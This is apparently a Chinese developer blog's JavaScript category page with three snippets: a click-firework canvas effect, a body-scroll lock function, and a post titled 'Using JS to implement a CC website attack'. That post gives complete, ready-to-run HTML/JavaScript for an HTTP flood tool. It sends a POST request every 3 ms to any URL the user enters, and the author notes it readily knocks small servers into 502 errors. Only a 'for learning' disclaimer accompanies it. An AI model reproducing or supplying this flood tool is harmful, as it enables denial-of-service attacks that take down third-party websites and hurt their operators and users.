首页
关于
留言
友链
直播
更多
视频
壁纸
Search
1
乐橙CMS影视管理系统最全版本
20,574 阅读
2
新浪图片链接修复教程集合
13,004 阅读
3
乐橙CMS影视管理系统4.0.18版本
11,837 阅读
4
反调试代码调试死机代码禁止F12代码
6,982 阅读
5
爬虫UA大全
6,305 阅读
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
Search
标签搜索
PHP
LINUX
微信
MYSQL
P2P
JS
乐橙cms
支付
破解
公众号
typecho
xshell
扫一扫
监控
微信支付
支付宝
JetBrains
redis
VPN
MacBook
子沫'S
累计撰写
103
篇文章
累计收到
368
条评论
首页
栏目
语言
PHP
Java
Go
JavaScript
CSS
Vue
资源教程
网络杂谈
技术文章
影视交流
软件工具
Mac
页面
关于
留言
友链
直播
视频
壁纸
搜索到
3
篇与
JavaScript
的结果
2021-04-11
为你的网站添加点击散开特效
<canvas id="fireworks" style="position: fixed; left: 0px; top: 0px; pointer-events: none; z-index: 2147483647; width: 1920px; height: 151px;" width="3840" height="302"></canvas> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/animejs@3.0.1/lib/anime.min.js"></script> <script type="text/javascript"> function updateCoords(e) { pointerX = (e.clientX || e.touches[0].clientX) - canvasEl.getBoundingClientRect().left, pointerY = e.clientY || e.touches[0].clientY - canvasEl.getBoundingClientRect().top } function setParticuleDirection(e) { var t = anime.random(0, 360) * Math.PI / 180, a = anime.random(50, 180), n = [-1, 1][anime.random(0, 1)] * a; return { x: e.x + n * Math.cos(t), y: e.y + n * Math.sin(t) } } function createParticule(e, t) { var a = {}; return a.x = e, a.y = t, a.color = colors[anime.random(0, colors.length - 1)], a.radius = anime.random(16, 32), a.endPos = setParticuleDirection(a), a.draw = function() { ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.fillStyle = a.color, ctx.fill() }, a } function createCircle(e, t) { var a = {}; return a.x = e, a.y = t, a.color = "#F00", a.radius = .1, a.alpha = .5, a.lineWidth = 6, a.draw = function() { ctx.globalAlpha = a.alpha, ctx.beginPath(), ctx.arc(a.x, a.y, a.radius, 0, 2 * Math.PI, !0), ctx.lineWidth = a.lineWidth, ctx.strokeStyle = a.color, ctx.stroke(), ctx.globalAlpha = 1 }, a } function renderParticule(e) { for (var t = 0; t < e.animatables.length; t++) e.animatables[t].target.draw() } function animateParticules(e, t) { for (var a = createCircle(e, t), n = [], i = 0; i < numberOfParticules; i++) n.push(createParticule(e, t)); anime.timeline().add({ targets: n, x: function(e) { return e.endPos.x }, y: function(e) { return e.endPos.y }, radius: .1, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule }).add({ targets: a, radius: anime.random(80, 160), lineWidth: 0, alpha: { value: 0, easing: "linear", duration: anime.random(600, 800) }, duration: anime.random(1200, 1800), easing: "easeOutExpo", update: renderParticule, offset: 0 }) } function debounce(fn, delay) { var timer return function() { var context = this var args = arguments clearTimeout(timer) timer = setTimeout(function() { fn.apply(context, args) }, delay) } } var canvasEl = document.querySelector("#fireworks"); if (canvasEl) { var ctx = canvasEl.getContext("2d"), numberOfParticules = 30, pointerX = 0, pointerY = 0, tap = "mousedown", colors = ["#FF1461", "#18FF92", "#5A87FF", "#FBF38C"], setCanvasSize = debounce(function() { canvasEl.width = 2 * window.innerWidth, canvasEl.height = 2 * window.innerHeight, canvasEl.style.width = window.innerWidth + "px", canvasEl.style.height = window.innerHeight + "px", canvasEl.getContext("2d").scale(2, 2) }, 500), render = anime({ duration: 1 / 0, update: function() { ctx.clearRect(0, 0, canvasEl.width, canvasEl.height) } }); document.addEventListener(tap, function(e) { "sidebar" !== e.target.id && "toggle-sidebar" !== e.target.id && "A" !== e.target.nodeName && "IMG" !== e.target.nodeName && (render.play(), updateCoords(e), animateParticules(pointerX, pointerY)) }, !1), setCanvasSize(), window.addEventListener("resize", setCanvasSize, !1) } </script>
2021年04月11日
220 阅读
0 评论
1 点赞
2021-04-11
使用JS实现CC网站攻击
今天兴趣来潮,使用原生js写了一个cc攻击,当然只是简单的写一下,对小服务器来说,可以轻松的压出502,服务器牛逼的话,没什么效果,比如本站就是小服务器,cc压下就502了,下面是源码,仅供学习使用.<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { display: flex; align-items: center; justify-content: center; } input { height: 35px; padding: 0 10px; box-sizing: border-box; outline: none; } </style> </head> <body> <input type="text" placeholder="请输入需要被CC的网址" style="margin-right: 10px" /> <input type="button" value="开始" /> <script> let timer = null; const input = document.querySelector('input[type="text"]'); const button = document.querySelector('input[type="button"]'); button.addEventListener('click', function () { const url = input.value; if (!url) return alert('请输入需要被压的域名'); if (!url.startsWith('http')) return alert('请输入http或https开头的网址'); if (this.value === '开始') { this.value = '停止'; timer = setInterval(() => { const xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('name=name'); }, 3); } else { this.value = '开始'; clearInterval(timer); } }); </script> </body> </html>
2021年04月11日
137 阅读
0 评论
1 点赞
2019-04-02
js控制底层滚动
//设置底层禁止滚动(true:禁止滚动;false:打开滚动) function stopBodyScroll (isFixed) { var bodyEl = document.body; if (isFixed) { scrollTop = $(window).scrollTop(); bodyEl.style.position = 'fixed'; bodyEl.style.width = '100%'; } else { bodyEl.style.position = ''; document.body.scrollTop = scrollTop; } }
2019年04月02日
959 阅读
1 评论
0 点赞